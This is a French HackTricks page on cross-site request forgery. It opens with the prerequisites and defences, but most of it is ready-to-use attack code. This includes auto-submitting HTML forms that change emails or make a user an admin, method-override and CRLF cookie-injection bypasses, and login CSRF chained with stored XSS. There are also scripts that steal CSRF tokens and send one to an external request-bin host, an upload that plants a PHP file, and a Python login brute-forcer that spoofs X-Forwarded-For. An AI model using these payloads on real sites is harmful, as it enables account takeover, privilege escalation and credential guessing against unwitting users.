CSRF (Cross Site Request Forgery)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Cross-Site Request Forgery (CSRF) Expliqué
Cross-Site Request Forgery (CSRF) est un type de vulnérabilité de sécurité présent dans les applications web. Elle permet à des attaquants d’exécuter des actions au nom d’utilisateurs sans méfiance en exploitant leurs sessions authentifiées. L’attaque se déroule lorsqu’un utilisateur, connecté à la plateforme de la victime, visite un site malveillant. Ce site déclenche alors des requêtes vers le compte de la victime via des méthodes comme l’exécution de JavaScript, la soumission de formulaires ou le chargement d’images.
Prérequis pour une attaque CSRF
Pour exploiter une vulnérabilité CSRF, plusieurs conditions doivent être réunies :
- Identifier une action intéressante : l’attaquant doit trouver une action à exploiter, comme changer le mot de passe de l’utilisateur, l’email, ou élever des privilèges.
- Gestion de session : la session de l’utilisateur doit être gérée uniquement via des cookies ou l’en-tête HTTP Basic Authentication, car d’autres en-têtes ne peuvent pas être manipulés pour cette attaque.
- Absence de paramètres imprévisibles : la requête ne doit pas contenir de paramètres imprévisibles, car ceux-ci peuvent empêcher l’attaque.
Vérification rapide
Vous pouvez capturer la requête dans Burp et vérifier les protections CSRF ; pour tester depuis le navigateur, vous pouvez cliquer sur Copy as fetch et vérifier la requête :
 (1) (1).png)
Défense contre CSRF
Plusieurs contre-mesures peuvent être mises en place pour se protéger contre les attaques CSRF :
- SameSite cookies : cet attribut empêche le navigateur d’envoyer les cookies avec des requêtes cross-site. More about SameSite cookies.
- Cross-origin resource sharing : la politique CORS du site victime peut influencer la faisabilité de l’attaque, surtout si l’attaque nécessite de lire la réponse du site victime. Learn about CORS bypass.
- Vérification de l’utilisateur : demander le mot de passe de l’utilisateur ou résoudre un captcha peut confirmer l’intention de l’utilisateur.
- Vérification des en-têtes Referrer ou Origin : valider ces en-têtes peut aider à s’assurer que les requêtes proviennent de sources de confiance. Cependant, un façonnage soigneux des URLs peut contourner des vérifications mal implémentées, par exemple :
- Utiliser
http://mal.net?orig=http://example.com(l’URL se termine par l’URL de confiance) - Utiliser
http://example.com.mal.net(l’URL commence par l’URL de confiance) - Modification des noms de paramètres : modifier les noms des paramètres dans les requêtes POST ou GET peut aider à empêcher les attaques automatisées.
- CSRF Tokens : incorporer un token CSRF unique dans chaque session et exiger ce token dans les requêtes suivantes peut grandement réduire le risque de CSRF. L’efficacité du token peut être renforcée en appliquant CORS.
Comprendre et implémenter ces défenses est crucial pour maintenir la sécurité et l’intégrité des applications web.
Pièges courants des défenses
- SameSite pitfalls :
SameSite=Laxpermet toujours les navigations cross-site de niveau supérieur comme les liens et les formulaires GET, donc de nombreux CSRF basés sur GET restent possibles. Voir la matrice des cookies dans Hacking with Cookies > SameSite. - Header checks : valider
Originquand il est présent ; siOriginetReferersont absents, échouer en mode fermé. Ne vous fiez pas aux correspondances par sous-chaîne/regex deRefererqui peuvent être contournées avec des domaines similaires ou des URLs fabriquées, et notez l’astuce de suppressionmeta name="referrer" content="never". - Method overrides : considérer les méthodes surchargées (
_methodou override headers) comme changeant l’état et appliquer la protection CSRF sur la méthode effective, pas seulement sur POST. - Login flows : appliquer des protections CSRF au flux de login également ; sinon, un login CSRF permet une ré-authentification forcée dans des comptes contrôlés par l’attaquant, ce qui peut être enchaîné avec un stored XSS.
Contournement des défenses
De POST à GET (method-conditioned CSRF validation bypass)
Certaines applications n’appliquent la validation CSRF que sur POST tout en l’ignorant pour les autres verbes. Un anti-pattern courant en PHP ressemble à :
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
Si le point de terminaison vulnérable accepte également des paramètres depuis $_REQUEST, vous pouvez réexécuter la même action en tant que requête GET et omettre complètement le token CSRF. Cela transforme une action réservée au POST en une action GET qui réussit sans token.
Example:
- Original POST with token (intended):
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
- Contournement en passant à GET (sans token):
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
Remarques:
- Ce schéma apparaît fréquemment avec du XSS réfléchi lorsque les réponses sont servies incorrectement en tant que text/html au lieu de application/json.
- Associer cela avec du XSS réduit fortement les barrières d’exploitation car vous pouvez fournir un seul lien GET qui déclenche à la fois le chemin de code vulnérable et évite complètement les vérifications CSRF.
Absence de token
Les applications peuvent implémenter un mécanisme pour valider les tokens lorsqu’ils sont présents. Cependant, une vulnérabilité survient si la validation est complètement ignorée lorsque le token est absent. Les attaquants peuvent exploiter cela en supprimant le paramètre qui porte le token, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener efficacement une Cross-Site Request Forgery (CSRF).
De plus, certaines implémentations vérifient seulement que le paramètre existe mais ne valident pas son contenu, donc une valeur de token vide est acceptée. Dans ce cas, il suffit de soumettre la requête avec csrf= :
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=guest&role=admin&csrf=
PoC minimal à soumission automatique (masquer la navigation avec history.pushState):
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
CSRF token n’est pas lié à la session utilisateur
Les applications ne liant pas les CSRF tokens aux sessions utilisateur présentent un risque de sécurité important. Ces systèmes vérifient les tokens contre un pool global plutôt que d’assurer que chaque token est lié à la session qui l’a initié.
Voici comment les attaquants exploitent cela :
- S’authentifier en utilisant leur propre compte.
- Obtenir un CSRF token valide depuis le pool global.
- Utiliser ce token dans une attaque CSRF contre une victime.
Cette vulnérabilité permet aux attaquants d’effectuer des requêtes non autorisées au nom de la victime, en exploitant le mécanisme de validation des tokens inadéquat de l’application.
Contournement de méthode
Si la requête utilise une méthode « étrange », vérifiez si la fonctionnalité method override fonctionne. Par exemple, si elle utilise une méthode PUT/DELETE/PATCH vous pouvez essayer d’utiliser un POST et envoyer un override, p.ex. https://example.com/my/dear/api/val/num?_method=PUT.
Cela peut aussi fonctionner en envoyant le paramètre _method dans le body d’un POST ou en utilisant des headers d’override :
X-HTTP-MethodX-HTTP-Method-OverrideX-Method-Override
Courant dans des frameworks comme Laravel, Symfony, Express, et d’autres. Les développeurs omettent parfois le CSRF sur les verbes non-POST en supposant que les navigateurs ne peuvent pas les émettre ; avec les overrides, vous pouvez toujours atteindre ces handlers via POST.
Example request and HTML PoC:
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
Custom header token bypass
Si la requête ajoute un custom header avec un token à la requête comme CSRF protection method, alors :
- Testez la requête sans le Customized Token and also header.
- Testez la requête avec exactement un same length but different token.
CSRF token is verified by a cookie
Les applications peuvent implémenter une protection CSRF en dupliquant le token à la fois dans un cookie et dans un paramètre de requête, ou en définissant un cookie CSRF et en vérifiant si le token envoyé au backend correspond au cookie. L’application valide les requêtes en vérifiant si le token dans le paramètre de requête correspond à la valeur du cookie.
Cependant, cette méthode est vulnérable aux attaques CSRF si le site comporte des failles permettant à un attaquant d’installer un cookie CSRF dans le navigateur de la victime, comme une vulnérabilité CRLF. L’attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, puis en lançant l’attaque CSRF.
Ci-dessous un exemple de la manière dont une attaque pourrait être structurée:
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
Tip
Notez que si le csrf token est lié au cookie de session, cette attaque ne fonctionnera pas car vous devrez définir la session de la victime sur la vôtre, et donc vous vous attaquerez vous-même.
Changement du Content-Type
Selon this, pour éviter les requêtes preflight en utilisant la méthode POST les valeurs de Content-Type autorisées sont :
application/x-www-form-urlencodedmultipart/form-datatext/plain
Cependant, notez que la logique du serveur peut varier en fonction du Content-Type utilisé donc vous devriez essayer les valeurs mentionnées et d’autres comme application/json,text/xml, application/xml.
Exemple (depuis here) d’envoi de données JSON en tant que text/plain:
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
Bypassing Preflight Requests for JSON Data
Lorsqu’on tente d’envoyer des données JSON via une requête POST, utiliser Content-Type: application/json dans un formulaire HTML n’est pas directement possible. De même, utiliser XMLHttpRequest pour envoyer ce type de contenu déclenche une requête preflight. Néanmoins, il existe des stratégies pour contourner potentiellement cette limitation et vérifier si le serveur traite les données JSON indépendamment du Content-Type :
- Use Alternative Content Types: Employ
Content-Type: text/plainorContent-Type: application/x-www-form-urlencodedby settingenctype="text/plain"in the form. Cette approche permet de tester si le backend utilise les données indépendamment du Content-Type. - Modify Content Type: Pour éviter une requête preflight tout en faisant en sorte que le serveur reconnaisse le contenu comme JSON, vous pouvez envoyer les données avec
Content-Type: text/plain; application/json. Cela n’entraîne pas de preflight mais peut être traité correctement par le serveur s’il est configuré pour accepterapplication/json. - SWF Flash File Utilization: Une méthode moins courante mais faisable consiste à utiliser un fichier SWF Flash pour contourner ces restrictions. Pour une compréhension approfondie de cette technique, référez-vous à this post.
Referrer / Origin check bypass
Avoid Referrer header
Les applications peuvent valider l’en-tête ‘Referer’ uniquement lorsqu’il est présent. Pour empêcher un navigateur d’envoyer cet en-tête, la balise meta HTML suivante peut être utilisée :
<meta name="referrer" content="never">
Cela garantit que l’en-tête ‘Referer’ est omis, permettant potentiellement de contourner les vérifications de validation dans certaines applications.
Regexp bypasses
Pour définir le nom de domaine du serveur dans l’URL que le Referrer va envoyer à l’intérieur des paramètres, vous pouvez faire :
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
Bypass de la méthode HEAD
La première partie de ce writeup CTF explique que le code source d’Oak, un router est configuré pour traiter les requêtes HEAD comme des requêtes GET sans corps de réponse — une astuce courante qui n’est pas propre à Oak. Au lieu d’un handler spécifique qui gère les requêtes HEAD, elles sont simplement données au GET handler mais l’app supprime juste le corps de la réponse.
Donc, si une requête GET est limitée, vous pouvez simplement envoyer une requête HEAD qui sera traitée comme une requête GET.
Exemples d’exploitation
CSRF stocké via HTML généré par l’utilisateur
Lorsque des éditeurs rich-text ou l’injection HTML sont autorisés, vous pouvez persister un fetch passif qui atteint un endpoint GET vulnérable. Tout utilisateur qui consulte le contenu effectuera automatiquement la requête avec ses cookies.
- Si l’app utilise un token CSRF global qui n’est pas lié à la session utilisateur, le même token peut fonctionner pour tous les utilisateurs, rendant le CSRF stocké fiable entre les victimes.
Exemple minimal qui modifie l’email du visiteur lors du chargement :
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
Login CSRF enchaîné à stored XSS
Le Login CSRF seul peut avoir un faible impact, mais l’enchaîner avec un stored XSS authentifié devient puissant : forcer la victime à s’authentifier dans un compte contrôlé par l’attaquant ; une fois dans ce contexte, un stored XSS sur une page authentifiée s’exécute et peut voler des tokens, détourner la session ou élever les privilèges.
- Assurez-vous que le endpoint de login est CSRF-able (pas de jeton par session ni de vérification d’origine) et qu’aucun contrôle d’interaction utilisateur ne le bloque.
- Après le login forcé, naviguer automatiquement vers une page contenant le payload stored XSS de l’attaquant.
Minimal login-CSRF PoC:
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
Exfiltration du CSRF Token
Si un CSRF token est utilisé comme défense, vous pouvez essayer de l’exfiltrer en abusant d’une vulnérabilité XSS ou d’une vulnérabilité Dangling Markup.
GET en utilisant des balises HTML
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
D’autres balises HTML5 qui peuvent être utilisées pour envoyer automatiquement une requête GET sont :
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
Requête GET par formulaire
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Requête POST de formulaire
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
Requête POST de formulaire via iframe
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Requête POST Ajax
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2",
})
</script>
Requête POST multipart/form-data
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
multipart/form-data POST requête v2
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
Requête POST de formulaire depuis un iframe
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
Voler le CSRF Token et envoyer une requête POST
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
Voler le CSRF Token et envoyer une requête POST en utilisant un iframe, a form et Ajax
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
Voler le CSRF Token et envoyer une requête POST en utilisant un iframe et un form
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
Voler le token et l’envoyer en utilisant 2 iframes
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTSteal CSRF token avec Ajax et envoyer un POST avec un formulaire
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
CSRF avec Socket.IO
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
CSRF Login Brute Force
Le code peut être utilisé pour Brut Force un formulaire de connexion en utilisant le CSRF token (Il utilise aussi l’en-tête X-Forwarded-For pour tenter de contourner une éventuelle IP blacklisting):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Outils
- https://github.com/0xInfection/XSRFProbe
- https://github.com/merttasci/csrf-poc-generator
- Burp Suite Professional – Generate CSRF PoCs
Références
- https://portswigger.net/web-security/csrf
- https://portswigger.net/web-security/csrf/bypassing-token-validation
- https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- Ultimate guide to CSRF vulnerabilities (YesWeHack)
- OWASP: Cross-Site Request Forgery (CSRF)
- Wikipedia: Cross-site request forgery
- PortSwigger Web Security Academy: CSRF labs
- Hackernoon: Blind CSRF
- YesWeHack Dojo: Hands-on labs
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

